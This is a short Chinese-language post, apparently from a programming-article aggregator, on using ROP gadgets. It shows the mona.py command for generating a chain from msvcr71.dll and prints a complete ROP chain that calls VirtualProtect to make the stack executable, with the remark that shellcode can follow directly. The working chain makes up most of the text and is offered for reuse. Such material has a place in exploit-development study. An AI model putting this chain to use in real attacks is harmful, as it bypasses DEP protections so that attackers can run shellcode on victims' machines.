rop_gadgets使用方法

本文主要是介绍rop_gadgets使用方法，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

利用mona.py可以生成

!mona rop -m msvcr71.dll -n

这部分gadget能够将后面的shellcode变成可执行的代码段！，后面直接跟shellcode就ok了

rop_gadgets =
[
    0x7c346c0a,    # POP EAX # RETN (MSVCR71.dll)
    0x7c37a140,    # Make EAX readable            
    0x7c37591f,    # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
    0x41414141,    # EBP (filler)
    0x7c346c0a,    # POP EAX # RETN (MSVCR71.dll)
    0x7c37a140,    # <- *&VirtualProtect()
    0x7c3530ea,    # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
    0x7c346c0b,    # Slide, so next gadget would write to correct stack location
    0x7c376069,    # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
    0x41414141,    # EDI (filler)
    0x41414141,    # will be patched at runtime (VP), then picked up into ESI
    0x41414141,    # EBX (filler)
    0x7c376402,    # POP EBP # RETN (msvcr71.dll)
    0x7c345c30,    # ptr to 'push esp #  ret ' (from MSVCR71.dll)
    0x7c346c0a,    # POP EAX # RETN (MSVCR71.dll)
    0xfffffdff,    # size 0x00000201 -> ebx, modify if needed
    0x7c351e05,    # NEG EAX # RETN (MSVCR71.dll)
    0x7c354901,    # POP EBX # RETN (MSVCR71.dll)
    0xffffffff,    # pop value into ebx
    0x7c345255,    # INC EBX # FPATAN # RETN (MSVCR71.dll)
    0x7c352174,    # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
    0x7c34d201,    # POP ECX # RETN (MSVCR71.dll)
    0x7c38b001,    # RW pointer (lpOldProtect) (-> ecx)
    0x7c34b8d7,    # POP EDI # RETN (MSVCR71.dll)
    0x7c34b8d8,    # ROP NOP (-> edi)
    0x7c344f87,    # POP EDX # RETN (MSVCR71.dll)
    0xffffffc0,    # value to negate, target value : 0x00000040, target: edx
    0x7c351eb1,    # NEG EDX # RETN (MSVCR71.dll)
    0x7c346c0a,    # POP EAX # RETN (MSVCR71.dll)
    0x90909090,    # NOPS (-> eax)
    0x7c378c81,    # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    # rop chain generated with mona.py
].pack("V*")

这篇关于rop_gadgets使用方法的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---